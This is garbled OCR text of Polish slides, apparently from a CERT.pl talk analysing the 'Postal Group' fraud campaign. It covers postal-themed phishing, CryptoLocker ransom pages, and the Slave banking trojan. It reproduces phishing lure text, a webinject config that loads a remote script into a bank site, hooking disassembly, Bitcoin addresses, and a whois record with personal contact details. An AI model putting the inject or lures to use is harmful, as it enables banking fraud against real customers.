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Poczta Polska — phishing

Poczta Polska

Kurier nie dostarczyt przesylke do numeru zgloszenia RR6536886973PL na adres
05.07.2015, poniewaz nikt w tym czasie. Prosze zobaczy¢ informacje na temat wysytki,
drukowania | iS¢ na poczte, aby otrzymac pakiet.

Zobacz informacje

Uwaga

Jezeli przesytka nie dotrze w ciagu 7 dni roboczych Poczta Polska bedzie miata prawo
do ubiegania sie koszty utrzymania przesytka 50 zi za jeden dzien. Dziekujemy za
korzystanie z naszych ustug dostawy. Zyczac mitego dnia Twoja Poczta Polska.

To jest generowany automatycznie e-mail, kliknij jezeli chcesz sig wypisaé
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Poczta Polska — phishing
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& Poczta Polska -« 0

151.248.117.45/poc

Strona giowna | O firmie | Centrum Prasowe | Kontakt

o e

Strona gléwna > Wspoipraca > Sledzenle przesylek - Tracking

Sledzenie przesytek - Tracking

Zeby otrzymat informacig o swoim pakiecie, Wprowadz numer podany na obrazku ize)

“Informujemy, 26 podczas opcji Sledzenia przesylek zagranicznych moga wystepowa¢ braki danych czy drobne niezgodnosci, Kidre wynikaja z dziatania
zagranicznych systemow trackingowych

** Dane przesylek dostepne sa dla okresow:

) 30 dni przy wstepnym wyszukiwaniu,

b) 9 miesigcy p poszerzonym, gdy W okresie 30 dni.
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Wystapit nieoczekiwany btad - przepraszamy  aciestoweno iomadi o preesyce = posanym
Parize podafemy nki o ton, a Korych mozna Sldei pres

ik poza granicami Polski
tany numer b

« przesyli kurierskie EMS Jesii W miejscu przeznaczonym do wpisania
numeru przesyki nie zostanie podany Jej numer-
pojawi sie komunikat

Jesli wpisany identyfkator jest prawidiowy to
pojawia sig dane | historia zdarzen dla okresione]
przesyiki. Jezell historia przesylki lub informacje o
niej s niezgodne z dowodem nadania nalezy
Sprawdzic poprawnosé wpisanego numeru.

System obecnie udostepnia informacje o
nastepujacych rodzajach przesylek:

1. w obrocie krajowym:

Ta strona uzywa ciasteczek (cookies), dzigki KIorym nasz serwis moze dzalat lepiej. Dowiedz sig wigoe). ~ Zamknij

<




Poczta Polska — phishing

Poczta Polska -« 0

Paczki | listy ‘

E-ustugi

Finanse ‘

Strona glowna > Wspotpraca > Sledzenie przesylek - Tracking
Sledzenie przesytek - Tracking

Zeby otrzyma Informacjg o swoim pakiesle, wprowadz numer podany na obrazku nizej.

Strona gtowna | O firmie | Centrum Prasowe | Kontakt

*Informujemy, ze podczas opc]i Sledzenia przesylek zagranicznych moga wystepowa braki danych czy drobne niezgodnoscl, ktdre wynikalg z dzialania

zagranicznych systemaw trackingowych.

** Dane przesyiek dostepne sa dla okresow:

a) 30 dni przy wstepnym wyszukiwaniu,

b) 9 miesigcy przy wyszukiwaniu poszerzonym, gdy nie znaleziono danych w okresie 30 dni.

1. Rozpakuj plik  informaciq za pomoca programu WinRar, jezeli nie posiadasz takiego programu
mozesz ge pobrat Kilkajac na ten link: http://www.rarlab. com/downioad. htm
2. Otworz plik PDF, wydruku] | zanies do najbiizszego punktu przesylek

Wystapit nieoczekiwany biad - przepraszamy

Ponize] podajemy linki do stron, na kierych mozna Sledzi¢ przesylki poza granicami Polski
- przesyiki listowe
« przesylki paczkowe
o przesylki Kurierskie EMS

< tukasz

Aby wyszukaC przesylke rejestrowana nalezy w
ramce Wpisat numer (np.: 0015000773312345678,

VV123456769PL, EE123#56769PL) podany na
potwierdzenlu nadania, bez spacjl oraz nawiasow |
nacisnaé [Szukal]

Jesll numer jest bledny lub w systemie nie
zarejestrowano informacyi o przesyice z podanym
numerem, pojawi si¢ komunikat:

P

ny numer

Jesli w miejscu przeznaczonym do wpisania
numenu przesyiki nie zostanie podany Jej numer-
pojaw sig komunikat

Podaj numi

Jesll wpisany identyfikator Jest prawidiowy to
pojawia sig dane | historia zdarzeft dla okreslone]
przesylki. Jezell historia przesylki lub informacje o
niej sa niezgodne z dowodem nadania nalezy
Sprawdzié poprawnosé wpisanego numeru

System obecnie udostepnia informacje o
nastepujacych rodzajach przesylek:

przypad



Poczta Polska — phishing

CryptoLocker

OSTRZEZENIE
mamy zaszyfrowane swoje pliki wirusem CryptOLOcker

Twoje wazne pliki [w tym na dyskach sieciowych, USB, etc): zdjecia, filmy, dokumenty, itp zostaty zaszyfrowane za pomoca,
naszego wirusa CryptOLOcker, Jedynym sposobem, aby preywrocic pliki jest nam zaptacic, W przeciwnym wypadku, pliki zostang,
utracone.

Uwaga: Usuwanie CryptOLOcker nie proywrdci dostep do zaszyfrowanych plikdw,

Kliknij tutaj, aby placic za pliki odzysku

NajczeA-ciej zadawane pytania

[+] Co sie stata z moich plikdw?

Irozumienie problemu

[+] Jak moge dostad moje pliki z powrotem?

Jedynym sposobem, aby proywrdcic pliki

[+] Co mam teraz zrobid?
< tukasz Siewi




Polska nie jest wyjatkowa

CryptolLocker

Buy decryption and get all your files back

for 598 AUD before 2014-11-30 11:01:51 AM
11199 AUD

3.03347 BTC (around 1199 AUD)
w: 0 BTC (around 0 AUD)
t: 3.03347 BTC (around 1199 AUD)

Kupte desifrovani a obnovit soubory

- o 0900 €K i 20141130 410,78 A
Acheter décryptage et restaurer tous vos @ P e
roroien soberd 410

kaufen entschlisselung und wiederherstellung ihrer

dateien
= ¥ n e un 2014011 16 4: 16,00 A
7 wdorkautenSies e v 798 EUR
Comprar descifrado y restac e -
: R
198 EUR ante 20041201 1:4836 Al - -
@ @ compen o Yazilimi satin alin ve tiim dosyalarinizi kurtarin
oidastles 5
Wi 0 i 01
iy £9 TR s s o SOH111 147.08 A
e sl 207207 BTC s da 358 08) 0w s o
= @ v
B 520 2.07307 BTG (bededos do 98 ) oo

Zrédto: Blog TrendMicro
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No i nie tylko Poczta Polska...

<

Od: Krzysztof Romski <krzysztof.r@kruksas.pl=
Do: biuro@

DW:

Temat: wezwanie do zaplaty, KRU

=l wiademos¢ | % windykacja_nr_98338.pdf.7z (87 KB)
Drodzy Panstwo,
Ze wzgledu na brak splaty zadluzenia przesylamy przedsadowe wezwanie do zaplaty.

Haslo do zalacznika: wezwanie33

Kruk S.A
ul. Wolowska 8
51-116 Wroclaw
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Rzut oka na statystyki wyswietlen
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No to trzeba co$ z tym Androidem zrobic!

Malicious app

< tukasz Siewierski Analiza przypadku: Grupa Po



Sukces nie zalezy od systemu czy przegladarki

Chrome Dev 44

Windows 7
Firefox 40
view

Windows XP

Mobile browser
Windows 8.1
Windows Vista Firefox 39
Android 4.4.2
Android 4.4.4 download Internet Explorer 11
Windows 8 —
Android 5.0.2
Android 5.0 Opera 31

< tukasz Siewierski Analiza przypadku: Grupa Pocztowa 7/15



Ale przeciez CryptOlocker jest nudny...

malware hosting Andromeda C&C

download Slave

i

(—>D(— ping & get file URLs

e-mail or phishing

Malware zip file
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Co to jest Slave?

{

"pre": "</title>",

"post": "<",

"target": "*.pekao24.plx",

"inj": "<script type=\"text/javascript\" src=\"//www.
gtagmanager.com/js/get.php?key=vTeJ5ZEbXaB7jNU3iDC5&
id=4\"></script>"

}
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Polskie instytucje? Monitorowanie schowka?...

nov
cmp
jnz
cmp
nou
jnz
push
push
call
nou
test

mou
nov
call

loc_233838:

cnp
jnz

push
push
call
nov

test

nov
nou
call

loc_233861:

cup
jnz
push
push
call
nov
test
jz
nov
nou
call

<

esi, [esp+18h+hiodule]

ebx, esi

loc_232091

HttpSendRequestd_addr, 0

edi, ds:GetProcAddress

short loc_233038

offset aHttpsendreques ; [ttpsenancquesin-]
esi ; hHodule

edi ; GetProchddress
HttpSendRequestn_addr, eax

eax, eax

short loc_233838

edx, offset HttpSendRequesth patch
ecx, offset HttpSendRequestA_addr
hook_function

; CODE XREF: identify _d1l_and_hook+861j
; identify d11_and_hook+971j

HttpSendRequesty_addr, 0

short loc_233061

offsat aHttpsendrequ_B ;

esi ; hHodule

edi ; GetProcaddress

HttpSendRequest_addr, eax

eax, eax

short loc 233961

edx, offset HttpSendRequestW_patch

ecx, offset HttpSendRequesti addr

hook_function

; CODE XREF: identify_d11_and_hook+aFtj
; identify_dll_and_hook+Cotj

InternetiriteFile_addr, 0

short loc_2336D7

offset alnternetwritef ; [Tnternecuriteriie]

esi : hHodule

edi ; GetProcAddress

InternetiriteFile_addr, eax

eax, eax

short loc_233007

edx, offset InternetWriteFile_patch

ecx, offset InternetWriteFile_addr

hook_function

Zrédto: 5 ”Slave” Malware Analysis Report




Polskie instytucje? Monitorowanie schowka?...

<

; int _ stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPUSTR IpCmdLine, int nShouCmd)
_ulinkain@ls proc near

hinstance= dword ptr 4
hPrevinstance= dword ptr 8
1ptmdLine= dword ptr  OCh
nShoutmd= dword ptr 16h

push  esi

push  edi

call f [v

mov esi, ds:Createtiutexit

push B ; lpName

push ) ; bInitialOuner
push 0 ; lpHutexAttributes
moy Hemory, @

call  esi ; CreateutexW

mov edi, ds:time

push 8 ; Time

mow hHutex, eax

call  edi ; time

add esp, 4

cnp eax, dword_437E48

j1 short exit

ol a5
cnp eax,| Wed, 01 Apr 2015 00:00:00 GMT
q shorE Ex1
L]
FEIE]
push offset Name : "_ NTDLL_CORE_ "
push L] ; bInitialOuner
push [] ; lpHutexAttributes
call esi ; Createlutexy
cnp eax, OFFFFFFFFh
jz short exit

Zrédto: f5 "Slave” Malware Analysis Report
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Slave i tajemnica Bitcoina

/info.php?key=[(kawatek) adresu Bitcoin]
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Slave i tajemnica Bitcoina

/info.php?key=[(kawatek) adresu Bitcoin]

1NoKsR7jcTTufgrvh6zyvyJmL2z73aQXQP (0 BTC)

m 18dfcnDfeCEpxJLBipBaW5PYLMgSuh7mYx (133 BTC)

m DxoKI4EEMZwJGIwS5SUxMCIHBORKA4U

hQEMAWWj00zTqt1iAQgA j YKm8wz7gq5
m 19MVRWRQoBA8ZaFbDEjwS9
m vTeJ5ZEbXaB7jNU3iDC5

m BaW5PYLMgSuh7mYx
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Ciekawy zakres IP

inetnum: 46.161.30.0 - 46.161.30.255
netname: KolosokIvan-net

descr: Net for customer ID 12510
country: RU

admin-c: KI811-RIPE

tech-c: KI811-RIPE

status: ASSIGNED PA

mnt-by: MNT-PIN

mnt-routes: ISPSYSTEM-MNT

mnt-by: MNT-PINSUPPORT

created: 2013-09-04T08:54:417

last-modified: 2015-08-27T14:50:47Z

person: Kolosok Ivan
address: ul Lenina 19-56
phone: +380766553642
nic-hdl: KI811-RIPE
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Co tam jest?

m Phishing pocztowy

< tukasz Siewierski Analiza przypadku: Grupa Pocztowa



Co tam jest?

m Phishing pocztowy

m Serwery C&C: Slave, CryptOlocker, ...

< tukasz Siewierski Analiza przypadku: Grupa Pocztowa



Co tam jest?

m Phishing pocztowy
m Serwery C&C: Slave, CryptOlocker, ...

m Exploit kity na przejetych kontach afraid.org
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Co tam jest?

Phishing pocztowy

Serwery C&C: Slave, CryptOlocker, ...

Exploit kity na przejetych kontach afraid.org

Programy lojalnosciowe kasyna

< tukasz Siewierski Analiza przypadku: Grupa Pocztowa



Co tam jest?

Phishing pocztowy

Serwery C&C: Slave, CryptOlocker, ...

Exploit kity na przejetych kontach afraid.org

Programy lojalnosciowe kasyna

m Nazwy domenowe wskazujace na sprzedaz " niebieskich pigutek”:

m bluerxproduct.com m rxwebstore.ru
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Co tam jest?

Phishing pocztowy

Serwery C&C: Slave, CryptOlocker, ...

Exploit kity na przejetych kontach afraid.org

Programy lojalnosciowe kasyna

m Nazwy domenowe wskazujace na sprzedaz " niebieskich pigutek”:

m bluerxproduct.com m rxwebstore.ru

m Nazwy domenowe wskazujace na pornografie:

m mega-fuckbook.com m 18pretty.net
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Przespate$ prezentacje? Nie szkodzi!

http://cert.pl/PDF/Grupa_Pocztowa.pdf

http://cert.pl/PDF /The_Postal_Group.pdf
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Ostatni slajd

Dziekuje za uwage
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